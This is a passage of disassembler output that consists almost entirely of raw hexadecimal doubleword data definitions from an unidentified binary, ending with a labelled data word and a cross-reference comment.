211FFA15h, 26C0487Bh, 5ADE30A1h, 1B7C3C82h, 0C9D8E3CAh dd 6070D67Eh, 0D2CC6106h, 5EEF1D00h, 0A38CF28Eh, 31E5FEDBh dd 7722B6B8h, 0FF4AF01Eh, 788B3B03h, 0F81637E0h, 5E6D92Fh dd 6170208h, 8084272Bh, 3C6C10A7h, 0B1BBDA00h, 0EBCE7389h dd 0E09FF214h, 9EF805ABh, 0C03E94E3h, 30BE1978h, 8FE748A0h dd 2E9D3B00h, 8C36F8DBh, 0ECD97CDDh, 554A056Fh, 40E5A273h dd 19C18994h, 3924E9F5h, 8403CCF3h, 0B041F862h, 3736122Fh dd 0E0993406h, 0BCA0FA82h, 0D7C8DC00h, 64245B72h, 12811EC5h dd 8368C039h, 8E1F7B28h, 1A260D04h, 1D498637h, 3C0ABE80h dd 0E260A280h, 70857B81h, 74C300D9h, 0E8954BFFh, 78C80969h dd 7F00B933h, 52A91897h, 0CC1E426Ah, 6943EC21h, 0D85FB6D9h dd 5A788E3Fh, 0B438A408h, 0E325F207h, 4AC0F1B2h, 37F3712h dd 0F7571F7Ah, 0E0A07B9Eh, 3C012771h, 983B155Dh, 0F3CDA729h dd 15730AFCh, 54863699h, 4B8EA100h, 216C4D93h, 63C3B100h dd 325F2A17h, 0B6390353h, 0EF412FBCh, 60BE313Eh, 564ACAF9h dd 71090706h, 20D4F32Bh, 7D5C9B99h, 0EC15BD00h, 0A1BECA8Bh dd 3BBB000Eh, 23C354DDh, 19006E6Ch, 0DFF69F2Ch, 149D53AFh dd 2C25BE12h, 0B8C3BF00h, 614BBB2Ah, 1A781601h, 51941C57h dd 3E2F8440h, 4248A1E3h, 15B32810h, 82D81E00h, 0ED9E60B7h dd 4CBE18D7h, 1CE7201Fh, 0C8E39600h, 71260957h, 9A210EBAh dd 0DC8954h, 0BC0C1598h, 0D5002366h, 0D33BCE24h, 1D0E9B30h dd 6BF29E2h, 109AFEACh, 1C82B23h, 0BF3CC435h, 36319D10h dd 41D03A8Ch, 7DDE4C8Ch, 9E048B29h, 10835874h, 41787B48h dd 0FE21E260h, 3E7B1D5h, 9012D767h, 830BF5Fh, 0CE2121FAh dd 0F37F03B1h, 0C811CB6Eh, 3F08A2E0h, 8D7C8A18h, 75F8061h dd 3EEDE84Fh, 0C6E281E5h, 9A818F7Eh, 407DF4Dh, 0FBD3B06Ah dd 90083032h, 4F45C121h, 28529703h, 98625FECh, 1DBAF46h dd 0D5C60D54h, 0C0A5ED76h, 0C828FADCh, 58066C80h, 0F263348Ch dd 0EA0E0711h, 277D9A1h, 85E17F03h, 4095D302h, 0A1E2348Ch dd 9C44D7ACh, 0F3B00D9h, 92C2EF86h, 2300013Dh, 1BB0822Eh dd 0EC6A70h, 1755468Fh, 11FDDBD8h, 0A0C7E944h, 38190F44h dd 7906E715h, 1989C852h, 0E4728D07h, 1CF3EFF6h, 225E90A7h dd 876E00FFh, 5953959Bh, 60A4318Ch, 0D6A1E702h, 1902E877h dd 0DF311006h, 933F00A1h, 0FD055E9Bh, 91C6E014h, 81D83BD6h dd 0D41840F0h, 67E6B108h, 44F8C4CFh, 90C0CD20h, 3940D63h dd 0FE2477A0h, 2138FB17h, 810431EDh, 9C539DD7h, 2AB68082h dd 2C5900A8h, 41CB554Eh, 5002BAD9h, 0C86C47FFh, 0A784A085h dd 422FC4h, 0FE0DC3Ch, 9FF2258Ch, 0F5F74301h, 8FD6CFDEh dd 3BAB5980h, 4B154C3Eh, 33329F5Ch, 0A30823h, 3E33D021h dd 7B518CDh, 609B3C0Ch, 276697Ch, 0E9D11178h, 848491D8h dd 0B1B06744h, 8CEF67EAh, 24F544h, 0ED98B1D1h, 0EA756A72h dd 0FBE119C1h, 6C602C53h, 18B90C60h, 46C0DDA2h, 3718CB89h dd 15483E08h, 49A7C42Bh, 0D12A80CCh, 0F982A1h, 28DF0874h dd 0BADA0F4Eh, 4410FD0Dh, 600B787Bh, 94C0F688h, 7A40E0FFh dd 0F5062405h, 1AFD892Ch, 7D71410h, 4D52AB02h, 8074F465h dd 0E33D9574h, 40B00F7Eh, 676E6244h, 7CA77522h, 603F4884h dd 23E5B1D3h, 0F311C767h, 0B1CC1F00h, 0E9FEA071h, 0FFED9904h dd 4E008C2Ah, 6F4169ECh, 0DC3D5D07h, 821EB3Fh, 99BC5AABh dd 0BD635F00h, 0D78A1A3Ch, 0C4A09255h, 0C20F375Dh, 8CDC52A3h dd 6074D905h, 0E25579EDh, 510FFF19h, 0A0FB5636h, 0EA5F1E90h dd 8771177Dh, 150606E0h, 0E08130DFh, 83C18D0h, 53154D3Eh dd 0D143A2C4h, 9E03E34h, 0FD249C4Ah, 0ED43A40Eh, 30E18E01h dd 0BE319AD7h, 0A800A49Eh, 95833ED5h, 19EA0646h, 0F0B709C4h dd 6B9A1062h, 2664928Dh, 4708FC63h, 0E229C142h, 3C65D866h dd 8C3FFE0Eh, 79DB2D75h, 0F788F84Eh, 0B3B07C0h, 442D26C5h dd 5E00CBE4h, 639B1976h, 0E491CA67h, 0E8D8DBC4h, 374F0846h dd 0BA703204h, 7B4F033Eh, 0E4757229h, 0C5097900h, 89D6B44Dh dd 71946176h, 807D6A9Ah, 194FDA39h, 3C5D599Ch, 58E476h dd 0C197A20Eh, 91CEC580h, 0FCA13F50h, 83E05309h, 0EA16B020h dd 0E04684F2h, 3C4F4B02h, 94315A04h, 4F43BF10h, 3F8DE30Fh dd 78440076h, 0C081C6ECh, 0DBA8F921h, 75FECE3Ch, 3DD180F5h dd 1F0695C3h, 0E6F6F89Fh, 38620031h, 0EA55DEA8h, 0F15408EDh dd 20B254E4h, 61E091F7h, 0A56E890Ah, 8E664284h, 7EFD6323h dd 47EC1C39h, 0ABACFFADh, 333700F1h, 683D1E62h, 88E5382Ch dd 499FD78Ch, 4F3A00EAh, 0CC361DFh, 161DCCACh, 45814994h dd 695A5F7Eh, 121854E4h, 400364A7h, 0CC258E58h, 0E700B0D7h dd 0BF86FFB1h, 0E08F2FAFh, 32B600A8h, 0FE384635h, 80B1EF1Ah dd 250F8611h, 5B427705h, 8CC08445h, 204B22Ah, 669B4E7Eh dd 60620C88h, 0B93ED9FEh, 200CD01h, 0F9851621h, 39CCA3h dd 0D62F5876h, 8A9E964Fh, 0E07F7310h, 276D9A13h, 41A2BEF4h dd 0C707F165h, 48FF19ACh, 2300C16Ch, 0C8378AF7h, 0BB00BD56h dd 5B4B6339h, 48AE7306h dd 0FC50B855h, 38048CCCh, 3315493Eh, 0CD20A462h, 38343E30h dd 0AF1DA359h, 2063D7CBh, 8933262Ch, 15979900h, 0CD85EA4Dh dd 5AC800E6h, 55DC0F7Fh, 8A0014F1h, 0E13D62ADh, 6407C79h dd 0C7DE3E0Dh, 0BF00C184h, 9C919DF6h, 1B392A8Dh, 68BCFDB8h dd 188E4384h, 0D27C90CFh, 4CCB00C3h, 430654FAh, 0EA0E0788h dd 0D8C7E50Fh, 72DC51h, 17C80A55h, 57072619h, 0B6503203h dd 536E64Fh, 6EDDEC4h, 181488F4h, 0ABF0DF45h, 7874484Eh dd 0D6931382h, 0DCEC2D60h, 2249C00h, 371F2DF2h, 69E50C71h dd 0D585051h, 7D1CCB9h, 1D0FA618h, 675B19C1h, 0C9EC6C9Bh dd 74E739DAh, 54938960h, 0FD0BEF70h, 1B8E9CDh, 963C4E20h dd 2A8CD0D3h, 75EC189Fh, 0BDA431E8h, 7FEECD76h, 0BEF3E412h dd 5C202C17h, 0A7DB39h, 0E1C2848h, 504D9D9Bh, 9FA10F05h dd 240017FDh, 9438393Eh, 41D30005h, 77E13FE4h, 3898DAFEh dd 84C18EDh, 62043D4Fh, 44C070h, 7322914Fh, 945FD08h, 7C629B11h dd 96D8760Ch, 0A0006EA1h, 4DB751E8h, 6404185h, 9CBD3CC9h dd 0E04C81D3h, 8C92E8D0h, 27043900h, 0BC73B87Bh, 0D138B990h dd 738318F4h, 0DFD2958h, 0D5ED1DD0h, 4E3BFCF0h, 0EF64C789h dd 40FB6CA4h, 22C3B39Eh, 4FC00FE0h, 487B9D4h, 111D170h dd 3EEC20F2h, 394CCC3Bh, 68DD815Fh, 12A30840h, 0CA23E023h dd 473E3601h, 0A1182315h, 7F2ECB88h, 0A9BEC3Eh, 24FD7308h dd 0A6467424h, 71383503h, 5A8B3239h, 80A0D8C1h, 894FCE21h dd 38D46Ah, 1EF66042h, 57A524AFh, 1DEF6B1Fh, 0EC9756C4h dd 0A07227C0h, 6EDB09A1h, 6002C352h, 0A4A1E113h, 0D04FD32Fh dd 0DDF0E5AFh, 4854F0ACh, 0F0AC42E0h, 1BC9644h, 70694F40h dd 0EC5F7AD1h, 290C6A24h, 0A991D6DBh, 0B73709C3h, 6464BC28h dd 0F427B200h, 9B4C055Bh, 380CA06Dh, 43ED0025h, 44EC4FB3h dd 3D04C806h, 1177DC12h, 0D84AC384h, 9940F064h, 1E69D02Dh dd 39254404h, 364DCE09h, 0C13B2064h, 29BA015Fh, 0E1A68511h dd 31AF5D4h, 18D99323h, 46A02F6Ch, 80A13FEDh, 0B4918DEh dd 4A043A4Fh, 0BD00409Ch, 0BE84F41h, 9C6A8497h, 0C1EA471Ch dd 0BCEF04EEh, 0EDEC04A9h, 4CA41C05h, 0C050F374h, 4F0F22h dd 935684AFh, 0C55A58C0h, 0DAD0F90Ah, 4AF8D7h, 61028D00h dd 0E6A92Fh, 0BCC43E9Ch, 2542FE5Eh, 3F57E109h, 87840660h dd 0E2961DA1h, 1E3E0030h, 7D03540h, 0FE2C6A71h, 0A44A50ABh dd 991FFF0Dh, 8C30A820h, 0D5A1E602h, 1902E077h, 5E160Bh dd 0F76C7EA1h, 6B93E1FFh, 1E41CA14h, 100270B6h, 2D80C903h dd 0EAF8608Dh, 0F9F06875h, 0D0FA8054h, 0D3F68E97h, 7C13F00h dd 48B1EC28h, 0EE69CB0Fh, 25EFD400h, 87094F19h, 23D54979h dd 839708h, 0AE642049h, 17E8F027h, 7925ABE8h, 19D4A029h dd 0B22D3h, 0F7C105F4h, 55F17FB0h, 307C6A24h, 79C3C9C7h dd 5040A08Ch, 69642E17h, 59498FA4h, 0C0902F8Ah, 77D4A1E5h dd 8876D846h, 0A109DD2Fh, 97F6E705h, 80A89100h, 0E8E52A22h dd 39A90B9Ch, 80016A3Fh, 8099D73Bh, 0FE56C429h, 70407Eh dd 0CA884D29h, 9A318AA8h, 806D633Eh, 55A5D520h, 61F63D60h dd 567838E9h, 8D05F19Eh, 0D1F963A8h, 0B6AC7E40h, 0FABC0086h dd 69C2CAA9h, 0EC0944ADh, 68FDD430h, 3B3F8B68h, 0CA046FD3h dd 80F48C76h, 0D50DB6D8h, 2824A700h, 5C6FE0F9h, 704F073Dh dd 9E069552h, 0B581450Eh, 3202EDE2h, 0DA307E0h, 5B207D6Eh dd 0FD8FC78h, 319CACF1h, 1E83A789h, 0B0E14C57h, 741993EDh dd 5B200097h, 1C82BD80h, 5749D5h, 4175CD42h, 5CF41E86h dd 871DCC00h, 0C2C63345h, 0FDCA0C37h, 90416F10h, 55F80400h dd 7940750Eh, 65AB003Fh, 1BE08185h, 0FA016C2Eh, 64787F82h dd 298072BDh, 83B7D53Dh, 0CE01F5C9h, 0AE3E21C0h, 0FF574Eh dd 0DF80CA20h, 9971C9C7h, 81512339h, 2A663A98h, 91E065A1h dd 59D20194h, 36C47832h, 806CD12Eh, 93BA8108h, 6ED2BB0Dh dd 796306Eh, 701BA9DEh, 503C2B89h, 0FFF91000h, 3AC30666h dd 0B7E60367h, 0C018F179h, 0D3EE1000h, 3BFDE810h, 813D033Ch dd 49C9D678h, 746D9007h, 0D0B068E3h, 19406Ch, 0C9F151CEh dd 90D3750Dh, 0C867E637h, 391C6280h, 18F7005Fh, 0F85804ECh dd 8F001D14h, 927DA5C8h, 0A0E743F6h, 4B2218h, 607EA4C6h dd 0ABD1ADFh, 0C4206B07h, 0F93064F2h, 0F6DF6D1h, 988701CFh dd 6AE41602h, 8F749C80h, 0F0CF451h, 502967D1h, 0C5453AF5h dd 0A54EBD00h, 9A08D6BCh, 88200200h, 1C74CC4Bh, 6471005Dh dd 468F90FFh, 19032E1Dh, 0FDBE4F6Ah, 0E5981874h, 9AD9A16Eh dd 729731Ch, 40CD3A4Eh, 2A1C4B69h, 48270C68h, 7528574Dh dd 1D55371Fh, 0A46C0A3Dh, 603EA063h, 682E81A9h, 0C554853h dd 0A319D730h, 9B071CC5h, 3C438933h, 0D8F1C080h, 28416481h dd 5E3F0EC3h, 7A5E2640h, 0E8ED72DBh, 8308DFD7h, 304D6316h dd 28E247D0h, 0E10154FCh, 0E84BFA5Ah, 0DEF0C723h, 193F819h dd 48F825DBh, 0E3FB2417h, 57A3389Bh, 0CFC8102Eh, 4B875B00h dd 0AE4322h, 0F2CB397Dh, 0FA35E658h, 264C9F00h, 181961F4h dd 9E4758F8h, 0FD43CA0Fh, 0AD07C12Fh, 1C304C1Dh, 0E7A1C81Fh dd 4C00762Eh, 0DB54EED7h, 0AB7771Dh, 73B633DCh, 0D7042364h dd 1DAF187Eh, 1E4E1065h, 7C239E00h, 0F307C06Eh, 8763019Dh dd 0B2B373E9h, 0B7B464D0h, 0CC883100h, 8729494Dh, 8396656h dd 1500219Fh, 0A99D882Bh, 0CAA383Ah, 72B5E7D6h, 12605E58h dd 88CFDC79h, 640009Ah, 1B7FF5FDh, 7A0C4899h, 0A0EC1D5Ah dd 7B3F30DBh, 0DE9DCE30h, 3DE61C01h, 0A6714B1Eh, 0C9F4D4h dd 41D9D6AFh, 0BFF7D47Bh, 0FA81D9D2h, 418047DBh, 2597CC4Dh dd 0BB0C1EBEh, 846C677h, 231C0F3h, 0A1F897D4h, 82F6CC06h dd 7EA984C4h, 0F0CA3E77h, 0C9FDDA83h, 41A8AE17h, 0F931D418h dd 0FC566142h, 98409ECDh, 6C1EEE52h, 0E788F080h, 97E3048Ch dd 6246BE2Ch, 0CAAD20EAh, 0DB00B497h, 0D29E7B8Fh, 7D9B341Dh dd 5F77028Dh, 746ED4EDh, 0AA92E0A0h, 0FB03DDB9h, 0F3DB6718h dd 6A083008h, 0B9B33821h, 1479AE00h, 0C1FC0471h, 0C0A56007h dd 6524D731h, 5AE980FDh, 93AEB419h, 489715EBh, 2030C8F8h dd 0B6E13821h, 7008DF60h, 1886C634h, 0E80EB510h, 0C8C2474Eh dd 4A82043Ch, 81C9D04h, 1A6072D9h, 0ABA6DEh, 83E041E8h dd 5F462207h, 29D68730h, 604D10AEh, 680D785Bh, 0A2E42A22h dd 24DBDA3Bh, 0E844007Bh, 2B97CE60h, 0BA43BE74h, 800F922h dd 0BE3C97D6h, 0A3810AEFh, 7AF90AE4h, 80A879FFh, 0C459C1F9h dd 7E0041DDh, 0AD927D97h, 0C1560E0Ah, 90C10180h, 312080C2h dd 0AD8C5DB7h, 90EEFE2Ah, 0C9F50920h, 5827D92Fh, 7ADE20CBh dd 86601E44h, 82EFC8D1h, 0F064606Bh, 57333A46h, 0D2A87554h dd 0F2978B0Dh, 0B002206Ch, 882E30B8h, 314DE111h, 1821A38Ch dd 3588241Eh, 0C50AD700h, 38E5565Bh, 6448D3C7h, 0EAFFBE81h dd 0C8F70094h, 0F6A812BFh, 72C8490Bh, 0F111681Dh, 0B6CF7680h dd 0B073969h, 0BE589965h, 1C7DB2B3h, 54295068h, 0A5B86873h dd 0F351008Ch, 5A9390D1h, 0C4A02772h, 0B200C652h, 7C09DB32h dd 5045EE50h, 24E6B011h, 645083ECh, 882C60B6h, 414D29E3h dd 2A164038h, 0BD09AC88h, 21105D8Bh, 3DBCB710h, 1F4292DCh dd 42A318DAh, 9E277102h, 0CB86B440h, 1B289701h, 20E5EFD8h dd 9C6D8880h dd 0DBE35A0Fh, 0C27A4303h, 50D9D8A7h, 7F28BC30h, 1F263070h dd 0A76A73D0h, 8B2085E9h, 0C840826Eh, 9317AEF8h, 0A38000D2h dd 7D9D77C6h, 21DD814Dh, 84644C3Dh, 24975479h, 97DEE2C2h dd 83F491E4h, 8812B349h, 0C42ACFCh, 6BC97CF7h, 7A1841A2h dd 0FD797B4Dh, 0D34B26C1h, 6588094h, 6E692F76h, 0DB5A88C6h dd 0C9FB0829h, 0D832B793h, 3BA207Ch, 98000C78h, 4B3DF506h dd 1E73E70h, 0D68AE653h, 656711EFh, 43A8A554h, 6820F50Eh dd 233197E0h, 0EF113EBEh, 97C80600h, 703A39ACh, 0C20DEB09h dd 779082F7h, 9591009Fh, 0F4123E59h, 54018A26h, 128DEE4Eh dd 0CA9D7880h, 7DC682E0h, 0C908A4B1h, 2FCB0073h, 0E83127B0h dd 0B4012E00h, 0F7683BD9h, 24DB0006h, 17FF5B39h, 0BE012D19h dd 3BCBBB86h, 4192D3FDh, 8FC861D4h, 300835DAh, 4150F62Ch dd 0EC261EA4h, 88A4546Ah, 9176508h, 6C044A8Ch, 883060B2h dd 614D23CFh, 1A16A211h, 4EC5005Eh, 0F90A5898h, 9F5CFB39h dd 1358552Fh, 13E6A8E1h, 33BA5EEh, 4E7C8E6Eh, 241619C9h dd 5C9085ACh, 232C2458h, 0B6E20127h, 18F393A9h, 0EA43880Fh dd 6888B600h, 8FACC210h, 740D0C9Dh, 0F3A1A0B3h, 13FAD600h dd 634DBB9Fh, 331E00F5h, 2F46FB5Bh, 8F7698DDh, 29D0B350h dd 5C00E40h, 0ED5D9F3Ah, 0B49898CAh, 0FCDFB908h, 406DC408h dd 0BB99D32h, 5A67DE3h, 463A036Ah, 88BC8E17h, 24BC066h dd 8B2FCC1h, 0CA2A9012h, 9542E85Dh, 604BC791h, 0A2747A84h dd 823680F0h, 92836E0Eh, 6CA40084h, 9839CB35h, 0AA0015A8h dd 703057D5h, 24CC94E0h, 8168F0FFh, 0E218D60Dh, 0B4118FF7h dd 0A23C409Bh, 274781h, 669C7778h, 0DB40C985h, 0E2CAB700h dd 0BB2EC654h, 6271C197h, 0A9A9023Ch, 0A0D124E9h, 50F7418h dd 6027113Fh, 52681BE4h, 0F820600Eh, 81EBD183h, 0CC18F892h dd 5EB1F6FDh, 8927Fh, 0F7515FA9h, 0AE938369h, 13E95D3Ch dd 0E741h, 0DE7C02E3h, 0F6A93BBFh, 70F4BBF5h, 11162BEDh dd 3C3E3950h, 7B00A023h, 0A97DEFC6h, 45FF12BCh, 4AE020B0h dd 9600AFF6h, 0B267478Dh, 60DBE8Ch, 0BD82E786h, 1A78E911h dd 683C2513h, 0FDE30401h, 834598Fh, 7938915Dh, 3C8186Ch dd 0ADE7789Bh, 0DACACDCEh, 0DD4B60E8h, 0D059E51Ch, 1C08C100h dd 146841DFh, 0CC24DE02h, 3009D13Dh, 0DC3323D7h, 93ADB5F8h dd 91991321h, 0E6370023h, 5F20DCB6h, 0AFF5156Ah, 620080CCh dd 754989A2h, 8C032CE7h, 0A0FB0B0Ah, 94E4A9B3h, 30B7B842h dd 0E013882Dh, 5039294Dh, 0DF882640h, 99940F65h, 6F00B774h dd 0C8807139h, 8F0270B1h, 0E0EA4622h, 541975B4h, 8CD1A467h dd 0DCB9AB04h, 686710FBh, 10003993h, 0F7BE761Bh, 0BC734D9Ah dd 7F010609h, 903C2C81h, 0F79984CDh, 0A4B4C282h, 0EA02180Fh dd 9A5380F3h, 0F64E1A04h, 90D11405h, 471C3F7h, 79DD5450h dd 0DD45FA5Ch, 59546910h, 76186Bh, 0BC0379CDh, 0D5913BC6h dd 0CC1D99D2h, 204C71D0h, 1279AE10h, 0FC0323E7h, 741DCE0h dd 0F6A4BD89h, 86799090h, 68A0BA82h, 55F0DEE0h, 0C1F8CB75h dd 284C0CA3h, 2D2060C4h, 58DB93B5h, 0EAE8C096h, 3AB5748Ch dd 0E010D57h, 0FE420A56h, 8AB048AFh, 94F3A807h, 1D705352h dd 0C451403h, 0BF9F29AEh, 4F69B50h, 14D01F59h, 6CE227h dd 322D88D1h, 546DCAEFh, 0BD9C69h, 7D5BB961h, 31C4744Fh dd 658CC800h, 2841DEB3h, 0FCBC01ADh, 0F7BDE550h, 6763C5A2h dd 7ADF0ABCh, 0E04E74E1h, 0D6BE2E97h, 0EE4486BAh, 97C90007h dd 0F6D2961Dh, 73097D64h, 4F8BE0Ah, 37829B14h, 0AAECE0DBh dd 0D3550367h, 7FFEF5A9h, 2936D8E0h, 7609F7F6h, 8FA0C3CAh dd 7202C29Ch, 53DC4140h, 315A93E8h, 0F350ED36h, 0A078A08Eh dd 0DD517917h, 5DC72442h, 74E0A716h, 6CF02BC0h, 21A200E0h dd 0AF7302A4h, 950732EFh, 0B2265FE1h, 8DCBFB47h, 50426834h dd 0B9A930D3h, 0E0FCE209h, 7489666h, 0EBB9B237h, 0D23E0BFh dd 0DF4A5B78h, 0A023B82Fh, 3C5CC700h, 0B7BCAC9h, 293CE6Ch dd 20F32811h, 31C3BB90h, 0DEC382A7h, 5A6F0CE9h, 22284D76h dd 8DFE0D03h, 9F83C26h, 53DE7A21h, 0C0B7B892h, 60642500h dd 942DA6B0h, 0BD9B0144h, 2096CE97h, 0DC24E71Ch, 618004F5h dd 0FC9582B1h, 24FD0957h, 0BB00B3B6h, 0B51A0F22h, 0A4903F77h dd 5AFF8D02h, 0A4B10467h, 0AF60D5BCh, 22118B9h, 0B835C0B0h dd 3B02F4B9h, 7B5104ACh, 1E4460CDh, 20124186h, 7940BA6Ch dd 718412F6h, 354C59Fh, 4FC27A40h, 5844B3BCh, 8C17E8E8h dd 0CFB3D515h, 59281FCCh, 0AF81C540h, 18863F5Fh, 9066D908h dd 555C7D9Dh, 0B981839Ch, 0AF491815h, 42DB41A1h, 80B6983Dh dd 335DE6C2h, 1598CBAh, 96FA1FECh, 55BD9D8Fh, 76542FE4h dd 1C5F128Ch, 23EC2FDEh, 6EB103F5h, 0C0DCDB14h, 6478DE18h dd 59E50680h, 411181Fh, 0FF4A74D4h, 0EC1EEC43h, 3201E4EEh dd 48C7ED5Fh, 0B91CAD5Ch, 542CFCDEh, 0BB63370h, 5DD8BFB9h dd 123D2890h, 4DC6C200h, 0E35B40ADh, 0C5952E98h, 849B11F0h dd 6E0B7578h, 43BE1448h, 0B02EFF00h, 0CDC7943Bh, 0A890036h dd 8AA89C82h, 0B34B5C13h, 96217043h, 8F02B169h, 9742FECh dd 6F1A9CA6h, 0A508B490h, 5D34941Ch, 0DE51DA00h, 1FF7EECAh dd 0FC8138h, 7F1D04E5h, 2B24CB59h, 0B517A03Fh, 0D8BDE80Bh dd 240C9C91h, 85F1308h, 2BC09D1Ch, 5A4DE288h, 17242C39h dd 94882500h, 0B974C7B7h, 0BE70060Eh, 587FD307h, 0C401D429h dd 0DCC28C8Ah, 0A0882792h, 1DB90194h, 4CC612EBh, 0E07CE4DBh dd 8324F200h, 902BD306h, 3C2313C1h, 6E10D207h, 46BBD090h dd 0FC310800h, 301AC785h, 0D2C30E8Ah, 980ED359h, 0CC29A9EFh dd 4604F464h, 637F02FCh, 5AEFBE70h, 6449740h, 96EC45A5h dd 109A1089h, 0B42F735Ah, 0C073A510h, 9FFAD4DFh, 0D1DD12B7h dd 654D1B9h, 3009C503h, 12007240h, 0B9B38811h, 60FC6AF7h dd 0B2DB885Eh, 516A56DFh, 0A814080h, 919C81CCh, 7F200830h dd 8C64A8CBh, 2C58A04Ah, 5AA0A0FCh, 0F669CFFFh, 8CDB805Fh dd 28133443h, 2DBB5700h, 0AFCC897Eh, 0AEB607CEh, 10FDBC80h dd 692C8466h, 57216007h, 0BEF349B8h, 0D2ABA0B0h, 0A4F50012h dd 0AD66245Fh, 88F01017h, 0F4CB051Ch, 0EAD39740h, 38377AD1h dd 69808470h, 54124068h, 9303A74Ch, 85B7504Bh, 0C059B8BAh dd 8C1905BBh, 0C0D4361Ch, 0D1DBC418h, 0BA00FEA3h, 0D2E2B041h dd 98DDAD8Bh, 2C846D8h, 219B9AEh, 106B31B8h, 0FB9B734h dd 1257E9EAh, 7E5E7662h, 5873A8A0h, 0A00999D0h, 3FA751h dd 1A3886CDh, 5E3E3850h, 0FD2C0BCAh, 0FCFA7C46h, 0E0008A5Ah dd 1B2F0AD4h, 2FD54F66h, 3EF23F8h, 0C7F7C4BDh, 3843BABAh dd 0B36CC5B4h, 30F0B26Ch, 0EC00E8DAh, 541B6A82h, 94C78001h dd 3E2A42E0h, 0CADBECCBh, 0BF26397Ch, 46749025h, 0FC0A7266h dd 0D4B387C9h, 0B4132513h, 0A39D088Bh, 0BDCA3600h, 986F8E8Fh dd 8CE1614h, 8628C049h, 5D59D19Ah, 2DB8D4h, 61C1B84h, 5A7960F2h dd 80412E28h, 514E24A7h, 4934D8Fh, 285FAA0h, 0CAA9F886h dd 641142FCh, 1FB03744h, 0A12A42B8h, 18B4CCE9h, 0CD880832h dd 1C70514Dh, 0F1883828h, 68E45D00h, 0AF421883h, 0C8FA3E2Eh dd 3013B059h, 24EC22A2h, 0B4B6DF02h, 19991B93h, 0E73A100Ch dd 891809B6h, 80FF8305h, 0FE80168Dh, 96F07A86h, 0B35D0970h dd 20841868h dd 0AA232F00h, 900486FCh, 0F2460B37h, 348535B4h, 0D450B552h dd 0E809EDE3h, 0C58AE5E6h, 72D9E248h, 13AB218h, 978A5B8Fh dd 68919520h, 8C23F880h, 0B52A7500h, 0F51A5FE7h, 917A0EFEh dd 83F20622h, 0CED33CF4h, 4CF7A126h, 11F5A901h, 9C6020DDh dd 0E0CB3E0Ch, 4A72CE01h, 6C7A5580h, 0B52C80F8h, 9D25024h dd 0F9D3CAE5h, 5E48AC52h, 70FE80C0h, 12CEFDA3h, 8C91E39Ch dd 8B00C744h, 5BF4F74Ah, 5D473D6h, 76F6AF25h, 0F4F81009h dd 0C8F80A22h, 30E3A9C0h, 3D46DFh, 5F6DBAC9h, 537D8E11h dd 0AC99A8FDh, 6F0B1490h, 0E85AC492h, 0B8472A4h, 5F52B107h dd 9C73C4E4h, 174F24BCh, 0EFC8F4CEh, 0FCEBDCC0h, 0D9400147h dd 0A3E4EF4h, 76983914h, 2DA0A14Dh, 92C498F7h, 5A3E807Ah dd 74FD3C28h, 802C6E48h, 0C22B5CD8h, 0B953096Ch, 445973CFh dd 0CC18F479h, 4C47591Dh, 0C05FD1CBh, 4F0A90A4h, 0FDD80362h dd 194F47C1h, 27D93C20h, 42301D52h, 0B4F6C7E4h, 97DE0CCh dd 5730C9A2h, 611E30ACh, 0FF3C1479h, 802260ABh, 25EE4201h dd 0B3664B8Ch, 1A19BC0h, 5DDEAFB2h, 28B4D857h, 0EC758038h dd 79CC684Fh, 5CB716A3h, 30EF097Eh, 17712C59h, 0AEDFE419h dd 1351C1FCh, 0B24C68C4h, 6C0229AFh, 205A7B6Dh, 29955030h dd 9EB3B722h, 80E19F84h, 0B477DB34h, 6E30683Bh, 0F7F4297Fh dd 736200D1h, 54E7DCA0h, 28B0E144h, 4D674825h, 3AE6C0ACh dd 27034013h, 0AACEBB03h, 73282448h, 7A720830h, 0C0C75D13h dd 0C080F81Ah, 0D5473982h, 4EB001Fh, 0C3FB4B06h, 0F737C81h dd 2F8B8D4h, 0DBEC9CD5h, 8024483Ah, 4BC40E6Dh, 11C0DEEh dd 1CB5D3DAh, 54E4C8AEh, 0E6E2AF05h, 50F45E53h, 23B107D1h dd 90F363B3h, 4FE4057Ah, 573AD300h, 0BFF4D01Eh, 184409FBh dd 88C55F27h, 7F606AC4h, 84060540h, 0EC682E3h, 50792E79h dd 0B4DB4478h, 0D009EA0h, 2265CBDEh, 1E054Bh, 58BABC59h dd 0E03BDC2Ah, 8040FB4Dh, 1A52900Ch, 4A178EBh, 44183F05h dd 0F2DCB2A5h, 0B28230F2h, 8E0A9317h, 73DBC880h, 0D03C32AFh dd 0C032EC50h, 90BE2F5Ch, 1C949548h, 97D20400h, 4307BA4Fh dd 875E25E5h, 43C07CCDh, 0E073F766h, 0D3C0385h, 0F6FA2A90h dd 0BA81F017h, 0CA5A9430h, 5D538043h, 0A6FE1A02h, 0D1F1F5E9h dd 2ED402ECh, 0E3F57118h, 43DE363h, 709B9719h, 0EBA7C0D6h dd 8A5E794Bh, 0A523F42Fh, 8967BF38h, 70B2EFBEh, 0D2FB1948h dd 79ED6951h, 11B828h, 81EF2D94h, 1D96DB91h, 703F0418h dd 49EE4E60h, 3C0AA499h, 83A0D5F9h, 8655F8CEh, 8FE9180Dh dd 0F430A9BAh, 0E6972DBEh, 7D6FE402h, 1DA80068h, 4C789B00h dd 2F621843h, 3890E6h, 0DAB0BBEEh, 0D61ABDCBh, 182E5C4Ah dd 19006C23h, 8BFA6DA6h, 6B3304C9h, 0A0282E0Ah, 0F701E3D0h dd 183E7797h, 78A76Eh, 69E23442h, 1FC08E31h, 0AC501265h dd 0CB989064h, 0A2CD655h, 0D10094FAh, 0F687E542h, 86031205h dd 722800F4h, 0EE502319h, 9C0BC128h, 0DCD1834Ah, 0C503AE57h dd 978C5005h, 0C00069D6h, 94D1D2F7h, 41DD02BEh, 0DEF5AFCh dd 2122D041h, 604CCD80h, 0D23FE7D8h, 48CE3071h, 4809C06h dd 4E0A6FE5h, 804A847h, 1FAAFB69h, 0FE70DFCh, 0BC846C48h dd 61008C6Fh, 149D63E9h, 247DB033h, 4A02D66h, 1EDF222h dd 2FBE5CEh, 0A824E9C5h, 6C0945B9h, 0EB088138h, 0ACE8FE15h dd 0C5A60078h, 0B5E8E044h, 8C273E39h, 57C400D2h, 3479EC93h dd 3B88295Bh, 26823E0h, 0E6B56C6Fh, 0A0421867h, 989D1873h dd 0E9694F1Ch, 0AF1BA500h, 88C206Eh, 0C0803CADh, 2A13BC48h dd 5ED660B1h, 0F2467EE4h, 1AB94800h, 0F0E5A949h, 821E4E09h dd 0D5200265h db 85h, 0F9h word_505446 dw 0AC4h ; DATA XREF: ___:off_435710o dd 2F42566h, 